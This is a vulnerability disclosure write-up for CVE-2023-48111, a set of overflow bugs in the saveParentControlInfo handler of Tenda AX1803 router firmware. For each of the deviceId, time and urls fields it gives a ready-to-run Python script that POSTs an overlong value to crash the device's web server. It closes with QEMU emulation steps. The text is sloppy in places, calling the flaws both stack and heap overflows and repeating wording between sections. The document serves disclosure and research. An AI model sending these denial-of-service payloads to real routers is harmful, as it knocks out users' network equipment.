Headline
CVE-2023-48111: Tenda AX1803 was discovered A series of fatal vulnerabilities that can cause a Denial of Service (DoS)
Tenda AX1803 v1.0.0.1 was discovered to contain a stack overflow via the time parameter in the function saveParentControlInfo . This vulnerability allows attackers to cause a Denial of Service (DoS) attack
Vulnerability introduction
Tenda AX1803 firmware version v1.0.0.1 has a stack overflow vulnerability because it uses the strcpy function by mistake in the deviceId、time and urls parameter of the saveParentControlInfo function which can cause a Denial of Service (DoS) attck.
Firmware download address:https://down.tenda.com.cn/uploadfile/AX1803/AX1803V2.0_V1.0.0.1_cn.zip
Vulnerability analysis****deviceId parameter in the function saveParentControlInfo
In the binary file /bin/tdhttpd, we use IDA to locate the function saveParentControlInfo that causes the vulnerability.
As you can see, the strcpy function is called on line 28 of the saveParentControlInfo function. Let’s trace the source of the two parameters of the strcpy function.
We found that parameter v2 was generated when the sub_295C8 function processed the deviceId parameter, and v5 was malloced on the heap.
As we all know, strcpy does not check the length of the parameter. If the deviceId is assigned a long string such as b"a"*0x400, it will cause a heap overflow in saveParentControlInfo, causing the entire program to crash and achieve the effect of a denial of service attack (Dos)
exp:
import requests
def deviceId():
data = {
b"deviceId":b"A"*0x400,
b"deviceName": b'a',
b"time": b'a',
b"enable":b'1',
b'url_enable':b'1',
b'urls':b'a',
b'day':b'1',
b'block':b'0',
b'limit_type':b'1'
}
res = requests.post("http://192.168.44.128/goform/saveParentControlInfo", data=data)
print(res.content)
deviceId()
time parameter in the function saveParentControlInfo
In line 34 of the saveParentControlInfo function, the sub_60CFC function is called, and this function calls sub_295C8 to obtain the time field.
However, after obtaining the time parameter, the obtained time is simply assigned to v4, and strcpy is directly called to pass it to the variable (a2+34) on the stack, without any verification in the middle. it will cause a stack overflow We assign the time field to b’a’*0x400 as before,which caused the program to crash.
exp:
import requests
def time():
data = {
b"deviceId":b"A",
b"deviceName": b'a',
b"time": b'a'*0x400,
b"enable":b'1',
b'url_enable':b'1',
b'urls':b'a',
b'day':b'1',
b'block':b'0',
b'limit_type':b'1'
}
res = requests.post("http://192.168.44.128/goform/saveParentControlInfo", data=data)
print(res.content)
time()
urls parameter in the function saveParentControlInfo
In line 34 of the saveParentControlInfo function, the sub_60CFC function is called, and this function calls sub_295C8 to obtain the time field.
Like the previous deviceId field, the program simply took out the urls without checking the length. Therefore, when the program passed time to (a2 + 80) through strcpy, a heap overflow occurred.
exp:
import requests
def urls():
data = {
b"deviceId":b"A",
b"deviceName": b'a',
b"time": b'a',
b"enable":b'1',
b'url_enable':b'1',
b'urls':b'a'*0x400,
b'day':b'1',
b'block':b'0',
b'limit_type':b'1'
}
res = requests.post("http://192.168.44.128/goform/saveParentControlInfo", data=data)
print(res.content)
urls()
environment
Create a new net bridge
sudo apt install uml-utilities bridge-utils
sudo brctl addbr br0
sudo brctl addif br0 ens33
sudo ifconfig br0 up
sudo dhclient br0
Install libc for arm environment and copy qemu-arm-static to the firmware root folder
sudo apt install qemu-user-static libc6-arm* libc6-dev-arm*
cp $(which qemu-arm-static) .
sudo chroot ./ ./qemu-arm-static ./bin/tdhttpd
use
sudo qemu-arm-static -L …/ ./tdhttpd
to simulates running firmware
Now we can access http://192.168.44.128/main.html to enter the virtual router for testing